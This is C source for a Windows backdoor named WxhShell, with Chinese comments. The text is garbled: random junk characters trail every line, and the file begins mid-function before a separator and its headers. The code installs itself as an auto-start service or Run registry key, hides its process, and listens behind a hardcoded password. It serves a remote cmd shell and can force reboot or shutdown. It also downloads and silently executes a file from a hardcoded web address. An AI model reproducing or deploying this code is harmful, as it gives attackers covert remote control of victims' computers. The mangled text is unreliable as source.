    if(Boot(SHUTDOWN)) +45.fo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '?Xf(6o1  
    else { ^fj30gw7\5  
    closesocket(wsh); A_Y5{6@  
    ExitThread(0); Oe21noL  
    } `Y3\R#  
    break; O4cBn{Dq9  
    } sD$K<nyz  
  // 获取shell `LNKbTc[m  
  case 's': { b$sT`+4q  
    CmdShell(wsh); N, ,[V  
    closesocket(wsh); 30YH}b#B  
    ExitThread(0); K!8l!FFl  
    break; u{cb[M  
  } xYY^tZIV  
  // 退出 '=(D7F;  
  case 'x': { QJSi|&Rx&?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  K{9  
    CloseIt(wsh); +k V$ @qH  
    break; )"J1ET,z  
    } uFuP%f!yY  
  // 离开 ?CldcxM#  
  case 'q': { ( 6ucA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |-TxX:O-  
    closesocket(wsh); |S]T,`7u  
    WSACleanup(); ,n`S ,  
    exit(1); uR.`8s|  
    break; 4|UtE<<b  
        }  &\ K  
  } }L @~!=q*  
  } Bkg./iP5x  
-b)3+#f  
  // 提示信息 +R_s(2vz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _zkTx7H  
} *xN?5u%  
  }  +F~B"a  
:kC*<f\  
  return; !+DhH2;)F  
} o(C;;C(*{  
U|b)Bw<P  
// shell模块句柄 ZAgtVbO7  
int CmdShell(SOCKET sock) >`<qa!9  
{ o7^0Lo5Z?  
STARTUPINFO si; </b_Rar  
ZeroMemory(&si,sizeof(si)); %pLqX61t=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S263h(H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Gr'|nR8  
PROCESS_INFORMATION ProcessInfo; NZ?dJ"eq7  
char cmdline[]="cmd"; UgD)O:xaU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8@ f+?g*i  
  return 0; fOdX2{7m  
} 7d/I"?=|rA  
BY':R-~(  
// 自身启动模式  pLM?m  
int StartFromService(void) nd[Ja_h  
{ l5D4 ?`|  
typedef struct GcG$>&,  
{ `/9I` <y  
  DWORD ExitStatus; Cq[Hh#q  
  DWORD PebBaseAddress; 4ves|pLET  
  DWORD AffinityMask; 1@9M[_<n5  
  DWORD BasePriority; X`fm5y  
  ULONG UniqueProcessId; tBETNt7  
  ULONG InheritedFromUniqueProcessId; :\C/mT3xL)  
}   PROCESS_BASIC_INFORMATION; h+S]C#X,}  
CF v]wS  
PROCNTQSIP NtQueryInformationProcess; 30<_`  
>DN^',FEm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _UY=y^ c0>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4O:HT m  
,t!I%r  
  HANDLE             hProcess; m}f{o  
  PROCESS_BASIC_INFORMATION pbi; !3{. V\P)  
d$8K,-M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u>:j$@56  
  if(NULL == hInst ) return 0; +O)ZB$w4  
+??pej]Rp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?O"zp65d(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^gkKk&~A5?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e7tio!  
N4b{^JkF  
  if (!NtQueryInformationProcess) return 0; ,(]k)ym/  
pD }b$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?A04qk  
  if(!hProcess) return 0; [ua[A;K  
V{ ~~8b1E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c7R&/JV  
c=^69>w  
  CloseHandle(hProcess); BU7QK_zT:  
h)aLq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BqM[{Kv  
if(hProcess==NULL) return 0; =dmxE*C  
O-box?  
HMODULE hMod; y'n<oSB}  
char procName[255]; DiZ;FHnaG?  
unsigned long cbNeeded; @!|h!p;  
t gHN\@yj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $ e.Bz `  
a54S,}|  
  CloseHandle(hProcess); na 0Zb  
mX, @yCI  
if(strstr(procName,"services")) return 1; // 以服务启动 c._!dq&#R  
j,Qb'|f5  
  return 0; // 注册表启动 [{#n?BT  
} P.(z)!]  
0DN&HMI#  
// 主模块 AS0mM HJk  
int StartWxhshell(LPSTR lpCmdLine) rB|4  
{ jo<Gf 5  
  SOCKET wsl; 6/vMK<Fz9  
BOOL val=TRUE; !& >LLZ  
  int port=0; .4[M-@4+]  
  struct sockaddr_in door; ylDfr){  
@}uo:b:Q  
  if(wscfg.ws_autoins) Install(); 44KWS~  
j&b<YPZ  
port=atoi(lpCmdLine); ]\]mwvLT  
ymT]ow6C  
if(port<=0) port=wscfg.ws_port; prB:E[1  
8#4Gs Q"  
  WSADATA data; [?(qhp!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #a'CoJs   
 v&7x ~!O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _d+` Gw  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9>ZX@1]m_  
  door.sin_family = AF_INET; t}MT<Jj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); CK_\K,xVT  
  door.sin_port = htons(port); V343 IT\  
:c`djM^ll  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XhN?E-WywQ  
closesocket(wsl); {7q8@`Oa  
return 1; r5+ MjR  
} /Ao.b|mm  
sDu&9+  
  if(listen(wsl,2) == INVALID_SOCKET) { +vPCr&40  
closesocket(wsl); =#wE*6T9  
return 1; T+FlN-iy)  
} ;!OME*?m<  
  Wxhshell(wsl); V#c=O}  
  WSACleanup(); 5bsv05=e  
i98PlAq)B  
return 0; +eop4 |Z  
y+ izC+  
} A2Iqn5  
g91xUG  
// 以NT服务方式启动 L Z3=K`gj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >feeVk  
{ 8^R~qpg%  
DWORD   status = 0; `_"?$ v2F  
  DWORD   specificError = 0xfffffff; f917F.1 I  
%WYveY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A-eCc#I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |>-0q~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zOJzQZ~  
  serviceStatus.dwWin32ExitCode     = 0; W#wC  
  serviceStatus.dwServiceSpecificExitCode = 0; @v.?z2h  
  serviceStatus.dwCheckPoint       = 0; Bu{%mm(  
  serviceStatus.dwWaitHint       = 0; 3ZvQUH/{W  
v{8r46Y~Z)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /)rv Ndn  
  if (hServiceStatusHandle==0) return; #jg3Ku;Y  
SL_JA  
status = GetLastError(); Ppx4#j  
  if (status!=NO_ERROR) j tqU`|FSQ  
{ pwF])uf*{\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Hq,N OP  
    serviceStatus.dwCheckPoint       = 0; nQn=zbZ3  
    serviceStatus.dwWaitHint       = 0; 9A}y^=!`  
    serviceStatus.dwWin32ExitCode     = status; 7'@~TM  
    serviceStatus.dwServiceSpecificExitCode = specificError; wB<cW>6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t~Ic{%bdA  
    return; HLh]*tQG  
  } wqyF"^It"  
s##XC^;p[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T'N/A9{q  
  serviceStatus.dwCheckPoint       = 0; ff aMF~+  
  serviceStatus.dwWaitHint       = 0; j'UW gwB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7qdB   
} }c#W"y5l_  
"2T* w~V&y  
// 处理NT服务事件,比如:启动、停止 0 Gq<APtr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &*~_ "WyU  
{ ^n\g,  
switch(fdwControl) #Q|ACNpYM  
{ <,9rXjeRl  
case SERVICE_CONTROL_STOP: ETfoL.d$(  
  serviceStatus.dwWin32ExitCode = 0; kQrby\F(<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cOP%R_ak?  
  serviceStatus.dwCheckPoint   = 0; i^rHZmT  
  serviceStatus.dwWaitHint     = 0; !ed0  
  { <_4'So>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _ n4C~  
  } jfZ)  
  return; _~!c%_  
case SERVICE_CONTROL_PAUSE: @rr\Jf""z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hr g'Z5n  
  break; ;Udx|1o  
case SERVICE_CONTROL_CONTINUE: al4X}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kB-<17  
  break; m\K1Ex  
case SERVICE_CONTROL_INTERROGATE: a%wa3N=v  
  break; ''.\DC~K  
}; QVD^p;b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %O>_$ 4q  
} Q?dzro4C  
IY|>'}UU#  
// 标准应用程序主函数 3[%n@i4H|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .?r} 3Ch  
{ tCu9 D  
D]K?ntS[*  
// 获取操作系统版本 |1/?>=dDm  
OsIsNt=GetOsVer(); PxJvE*6^H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .y#>mXm>  
SFRYX,0m  
  // 从命令行安装 kX:8sbZ##4  
  if(strpbrk(lpCmdLine,"iI")) Install();  L$[1+*  
f5.Be%  
  // 下载执行文件 Vv>hr+e  
if(wscfg.ws_downexe) { zBqNE`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Bo/i =/7%  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8ya|eJ]/L  
} NHzVA*f  
YKa9]Q  
if(!OsIsNt) { T?D]]x  
// 如果时win9x,隐藏进程并且设置为注册表启动 p$6L_ *$  
HideProc(); EOf*1/Ih  
StartWxhshell(lpCmdLine); qvRs1yr?q  
} tSaD=#v  
else eak+8URo  
  if(StartFromService()) =n M Aw&`  
  // 以服务方式启动 l D]?9K29  
  StartServiceCtrlDispatcher(DispatchTable); {)- 3g~  
else q}J Eesf  
  // 普通方式启动 Vc "+|^  
  StartWxhshell(lpCmdLine); -4S4I  
z HvW@A'F  
return 0; .H5^N\V|  
} 4HyD=6V#  
,f[Oy:fr  
,v(ikPzd  
hj3wxH.}  
=========================================== iD:T KB_r  
8{p#Nl?U1  
}M9I]\  
r5uX?^mJ0  
"^Vfo$q  
E}|IU Pm  
" a.SxMF  
e41r!od  
#include <stdio.h> <*djtO  
#include <string.h> wUmcA~3D  
#include <windows.h> xc$jG?83#  
#include <winsock2.h> wmit>69S  
#include <winsvc.h> m?`$NJST  
#include <urlmon.h> r7  *'s  
_Ns_$_  
#pragma comment (lib, "Ws2_32.lib") 6$p6dmV|  
#pragma comment (lib, "urlmon.lib") M}9PicI?7  
v?S3G-r  
#define MAX_USER   100 // 最大客户端连接数 HQrx9CXE  
#define BUF_SOCK   200 // sock buffer 7]8apei|  
#define KEY_BUFF   255 // 输入 buffer i7xBi:Si  
7 9ZYRm2;  
#define REBOOT     0   // 重启  lmB+S  
#define SHUTDOWN   1   // 关机 U p: M[S  
3F9AnS  
#define DEF_PORT   5000 // 监听端口 2Xp?O+b#"O  
Us8nOr>5  
#define REG_LEN     16   // 注册表键长度 _U%2J4T2  
#define SVC_LEN     80   // NT服务名长度 nnMRp7LQ-  
((]Sy,rdk  
// 从dll定义API &+8cI^ kp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'V:ah3 8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /??nO Vvt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e}W|wJ):j@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MrpT5|t  
 76EMS?e  
// wxhshell配置信息 >3y:cPTM5  
struct WSCFG { !a9/8U_>XF  
  int ws_port;         // 监听端口 "A&HNkRz  
  char ws_passstr[REG_LEN]; // 口令 IVSd,AR7yY  
  int ws_autoins;       // 安装标记, 1=yes 0=no YW^sf,zQ  
  char ws_regname[REG_LEN]; // 注册表键名 %ZJ;>a#  
  char ws_svcname[REG_LEN]; // 服务名 ~.8p8\H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1Ozy;;\-9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 + Scw;gO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R(DlJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z=>#|pW,)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [xg& `x9,.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .V|o-~c  
J, vEZT<Mt  
}; 6?KJ"Ai9  
B}Sl1)E  
// default Wxhshell configuration VY'1 $  
struct WSCFG wscfg={DEF_PORT, *W=R:Bl!  
    "xuhuanlingzhe", C2W&*W*  
    1, 3X}>_tj  
    "Wxhshell", g;G.uF&  
    "Wxhshell", !Ytr4DtM  
            "WxhShell Service", dO\irv)  
    "Wrsky Windows CmdShell Service", %jmL#IN)  
    "Please Input Your Password: ", >^%TY^7n  
  1, i@STo7=  
  "http://www.wrsky.com/wxhshell.exe", %PxJnMb?  
  "Wxhshell.exe" @wOX</_g  
    }; CqbPUcK  
OqA#4h4^  
// 消息定义模块 :LBRyBV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; aak[U;rx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tD\%SiTg=b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %P-z3 0FHp  
char *msg_ws_ext="\n\rExit."; d@_|  
char *msg_ws_end="\n\rQuit."; 63y&MaqSJ  
char *msg_ws_boot="\n\rReboot..."; Kv-4VWh  
char *msg_ws_poff="\n\rShutdown..."; eh} {\P  
char *msg_ws_down="\n\rSave to "; 2 1]8 7$  
hha^:,  
char *msg_ws_err="\n\rErr!"; w&^_2<a2  
char *msg_ws_ok="\n\rOK!"; 0|@* `-:VO  
TClgywL  
char ExeFile[MAX_PATH]; o<8=@ ^T  
int nUser = 0; G,JNUok  
HANDLE handles[MAX_USER]; x9VR>ux&  
int OsIsNt; AF-uTf  
eU.HS78  
SERVICE_STATUS       serviceStatus; q~*>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  w#\*{EN  
uj9IK  
// 函数声明 u}I\!-EX!v  
int Install(void); qx<h rC0Z&  
int Uninstall(void); \-~TW4dYe  
int DownloadFile(char *sURL, SOCKET wsh); Uk|(VR9  
int Boot(int flag); nRlvW{p;  
void HideProc(void); r__Y{&IO  
int GetOsVer(void); =dT sGNz  
int Wxhshell(SOCKET wsl); b(|1DE0Cv  
void TalkWithClient(void *cs); mu}T,+9\  
int CmdShell(SOCKET sock); Kn+m9  
int StartFromService(void); JVeb$_0k  
int StartWxhshell(LPSTR lpCmdLine); Ju.B!)uS#  
WaYT7 :  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); COk;z.Kn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1Ydym2  
maR5hgWCHe  
// 数据结构和表定义 ([a[ fi  
SERVICE_TABLE_ENTRY DispatchTable[] = DKxzk~sOM  
{ XK t">W  
{wscfg.ws_svcname, NTServiceMain}, tW |K\NL  
{NULL, NULL} 3G)Wmmh"a  
}; Y>i?nC%*  
KM ;'MlO  
// 自我安装 7BDRA},o  
int Install(void) ?XNQ_m8f  
{ 8rx"D`{|  
  char svExeFile[MAX_PATH]; W bW@V_rr  
  HKEY key; bhWH  
  strcpy(svExeFile,ExeFile); WYklS<B[  
]5}C@W@_  
// 如果是win9x系统,修改注册表设为自启动 251^>x.R  
if(!OsIsNt) { DYKJVn7w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'Bv)UfZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \E3e vU  
  RegCloseKey(key); !9knF t43  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O>j_xW]V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kLw07&H  
  RegCloseKey(key); ` kG}NJf  
  return 0; J` J^C  
    } kt*""&R  
  } LCMCpEtY*K  
} 1IRlFC  
else { aOH$}QnS  
Eu^? e  
// 如果是NT以上系统,安装为系统服务 {Bb:S"7NX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s]z-d!G  
if (schSCManager!=0) SsE8;IGH  
{ 39(]UO6^;  
  SC_HANDLE schService = CreateService . w_oWmD  
  ( F qW[L>M'  
  schSCManager, vS{zLXg  
  wscfg.ws_svcname, 05cyWg9a  
  wscfg.ws_svcdisp, - s,M+Q(<  
  SERVICE_ALL_ACCESS, ] %y3*N@AZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6cV -iDOH  
  SERVICE_AUTO_START, DcQ[zdEz+  
  SERVICE_ERROR_NORMAL, ZFAi9M  
  svExeFile, ,@1.&!F4it  
  NULL, X<<hb  
  NULL, D< h+r?  
  NULL, hS}d vZa  
  NULL, }I1SC7gY  
  NULL RS>;$O_(M  
  ); v0yaFP#kG  
  if (schService!=0) Uz`K#Bz   
  { NBUSr}8|  
  CloseServiceHandle(schService); _*I@ J/  
  CloseServiceHandle(schSCManager); Uczb"k5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @1w9!\7Vt  
  strcat(svExeFile,wscfg.ws_svcname); e)WpqaI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5B lptC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o`8dqP  
  RegCloseKey(key); K2u$1OKv  
  return 0; e /4{pe+,  
    } c3>#.NP_  
  } B4 cm_YGE  
  CloseServiceHandle(schSCManager); F(w  
} Wx<fD()  
} ^" EsBt  
KAucSd`  
return 1; j JxV)AIY  
} pS3TD"p  
8U5L |Ny.q  
// 自我卸载 l#W9J.q(  
int Uninstall(void) IU8/B+hM~  
{ $H9+>Z0(  
  HKEY key; b`=\<u8  
%ifq4'?Z   
if(!OsIsNt) { vy t$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *P#okwp  
  RegDeleteValue(key,wscfg.ws_regname); wap@q6fz<  
  RegCloseKey(key); f<`is+"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $ {iV]Xt  
  RegDeleteValue(key,wscfg.ws_regname);  4|9c+^%^  
  RegCloseKey(key); S|{'.XG  
  return 0; B~ o;,}  
  } e*7nq ~ B5  
} 'n9<z)/,!  
} a19yw]hF5  
else { Y 7a<3>  
VZ`L-P$AF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I?l%RdGW  
if (schSCManager!=0) J5Nz<  
{ <F=U(WWn9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3=reN6Q  
  if (schService!=0) Vd-\_VP20  
  { dQ5_=( 9  
  if(DeleteService(schService)!=0) { )jh4HMvmC  
  CloseServiceHandle(schService); &: i|;^^2  
  CloseServiceHandle(schSCManager); S+mZ.aFS0z  
  return 0; ~i4h.ZLj  
  } 1mLd_ ]F'F  
  CloseServiceHandle(schService); cH&-/|N  
  } F ;o ^.  
  CloseServiceHandle(schSCManager); z"b}V01F#  
} ],lrT0_cT  
} t(O{IUYM  
{R2gz]v4  
return 1; 6/m|Sg.m  
} TV~ <1vj  
MT8BP)C  
// 从指定url下载文件 x-Kq=LFy.  
int DownloadFile(char *sURL, SOCKET wsh) [Ch)6p  
{ ^ di[J^  
  HRESULT hr; ;\F3~rl  
char seps[]= "/"; Q -!,yCu  
char *token; @A_bZQ@  
char *file; y5d=r]_S:  
char myURL[MAX_PATH]; HAHv^  
char myFILE[MAX_PATH]; Oie0cz:>:  
Mpfdl65  
strcpy(myURL,sURL); T ~9)0A"]  
  token=strtok(myURL,seps); S1iF1X(+?X  
  while(token!=NULL) pZS0;T]W,  
  { eY)JuJ?  
    file=token; 03WLVP@  
  token=strtok(NULL,seps); 6*] g)m  
  } HC4vet  
Op&i6V}<s  
GetCurrentDirectory(MAX_PATH,myFILE); h&$7^P  
strcat(myFILE, "\\"); }r}$8M+1  
strcat(myFILE, file); }tvLe3O  
  send(wsh,myFILE,strlen(myFILE),0); d-=RS]j;j  
send(wsh,"...",3,0); wj-=#gyAoo  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I Xm}WTgF!  
  if(hr==S_OK) G@YX8!w U  
return 0; V &K:~[M  
else #1INOR9  
return 1; 7QXA*.' F  
j-e gsKR  
} u!=9.3  
O "jX|5  
// 系统电源模块 U*G8 }W  
int Boot(int flag) Y#>'.$ (Az  
{ C@{#OOa  
  HANDLE hToken; wABaNB=9;  
  TOKEN_PRIVILEGES tkp; h L 1q9%  
cs]N%M^s  
  if(OsIsNt) { LL|uMe"Jb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DrfOz#a0Uu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w4m -DR5  
    tkp.PrivilegeCount = 1; 3{gD'y4j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *SW.K{{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?-40bb  
if(flag==REBOOT) { |\yVnk!c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9n#Q1Xq  
  return 0; q .[hwm  
} %^e~;i=2  
else { [0M2`x4`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4fK(<2i  
  return 0; > 3<P^-9L  
} Q}pnb3J>T  
  } ' }G! D  
  else { W'3&\}  
if(flag==REBOOT) { [I4:R_\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]}KoW?M  
  return 0; aR3R,6ec  
} f}jo18z%  
else { 'hTA O1n8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s:_M+_7_  
  return 0; 6`/nA4S4.  
} n|t?MoUP  
} mlIX>ss|7B  
vx:MLmZ.  
return 1; 'z'q)vcr  
} tY?_#rc  
q|*}>=NX  
// win9x进程隐藏模块 jwm2ZJW  
void HideProc(void) h/I'9&J>*  
{ I! s&m%s  
^tWt"GgC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -8sm^A>C  
  if ( hKernel != NULL ) K+3dwQo  
  { yc./:t1at>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >(v%"04|e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `t0?PpUo  
    FreeLibrary(hKernel); 64qm  
  } ?\_N*NEtK  
'ZyHp=RN)  
return; q4].C|7   
} RYU(z;+0p  
,XD'f  
// 获取操作系统版本 0((3q'[ <  
int GetOsVer(void) U}H2!et&,)  
{ kOv2E]  
  OSVERSIONINFO winfo; [;bZQ6JR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); TTg>g~t`  
  GetVersionEx(&winfo); JsNqijVC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F[q:jY  
  return 1; ye-o'%{  
  else 0_Gi1)  
  return 0; jy=dB-&  
} rgQ6/3}qc  
A=Au>"nAA  
// 客户端句柄模块 qT`sPEs;V  
int Wxhshell(SOCKET wsl) K<@gU\-!  
{ #St=%!  
  SOCKET wsh; ;aZ$qgN*Y  
  struct sockaddr_in client; ,@+ 7(W  
  DWORD myID; m$T?~o o  
it=4cHT  
  while(nUser<MAX_USER) }*WNrS">S  
{ ftVA  
  int nSize=sizeof(client); )` nX~_'p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]=2wQ8  
  if(wsh==INVALID_SOCKET) return 1; QPe+K61U  
]B;GU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r 5!ie!5gE  
if(handles[nUser]==0) (TufvHC  
  closesocket(wsh); \Y)pm9!  
else oY!nM%z/  
  nUser++; 4::>Ca^{  
  } @Y/PvS8!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]LFY2w<  
goYRA_%cX  
  return 0; U.7;:W}c  
} X~/hv_@  
EJ$-  
// 关闭 socket n^8LF9r  
void CloseIt(SOCKET wsh) #;Yn8'a~  
{ u{0'" jVJ  
closesocket(wsh); h kzy I~7  
nUser--; >KjyxJ7  
ExitThread(0); % K$om|]p  
} w7b?ve3-  
g8 (zvG;Y  
// 客户端请求句柄 |_&Tu#er3  
void TalkWithClient(void *cs) e:9CD-  
{ = > .EDL.  
a6K1-SR^6)  
  SOCKET wsh=(SOCKET)cs; "=l<%em  
  char pwd[SVC_LEN]; P;%4Imq3  
  char cmd[KEY_BUFF]; w(w%~;\kLP  
char chr[1]; d4"KM+EP?  
int i,j; 3kxI'0&T  
D]+0X8@kH7  
  while (nUser < MAX_USER) { kyQUaFG  
SvUC8y  
if(wscfg.ws_passstr) { Am~ NBQ7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xrbDqA.b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |*4)G6J@n  
  //ZeroMemory(pwd,KEY_BUFF); P8DT2|Z6f]  
      i=0; \cq gCab/2  
  while(i<SVC_LEN) { 65FdA-4  
iz'#K?PF_  
  // 设置超时 }D5*   
  fd_set FdRead; qaBjV6loy  
  struct timeval TimeOut; Wsb=SM7;  
  FD_ZERO(&FdRead); 5oz[Njq4  
  FD_SET(wsh,&FdRead); 1tvgM !.  
  TimeOut.tv_sec=8; 0sjw`<ic  
  TimeOut.tv_usec=0; zV)Ob0M7U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m?;aTSa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); po~l8p>  
8l|v#^v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7 4rmxjiN  
  pwd=chr[0]; h1 \)_jxA  
  if(chr[0]==0xd || chr[0]==0xa) { 3}::"X  
  pwd=0; zx7*Bnu0  
  break; L@*0wx`fU  
  } b*4[)Yg4  
  i++; &I8,<(`  
    } r!eCfV7  
9moenkL  
  // 如果是非法用户,关闭 socket }8E//$J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?}*A/-Hx0U  
} l6b3i v,  
vt`hY4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x{u7#s1|/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pm<zw-  
{r2-^Q HF  
while(1) { *#j+,q!X  
~8'4/wh+8  
  ZeroMemory(cmd,KEY_BUFF); K~nk:}3Ui  
7&G[mOx0  
      // 自动支持客户端 telnet标准   bK `'zi  
  j=0; ]a|3"DP5  
  while(j<KEY_BUFF) { /ZAS%_as  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -Z&6PT7  
  cmd[j]=chr[0]; #84pRU~  
  if(chr[0]==0xa || chr[0]==0xd) { D$k40Mz  
  cmd[j]=0; ~ei\~;n\@  
  break; ^6v ob  
  } ^ri?eKy.-g  
  j++; )i&9)_ro  
    } t?^C9(;6  
sMAc+9G9k  
  // 下载文件 h tbN7B(  
  if(strstr(cmd,"http://")) { dbGW`_zQ4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }?B=R#5  
  if(DownloadFile(cmd,wsh)) \nV|Y=5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t5h]]TOz  
  else %-@`|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kvh}{@|-  
  } h'wOslyFa  
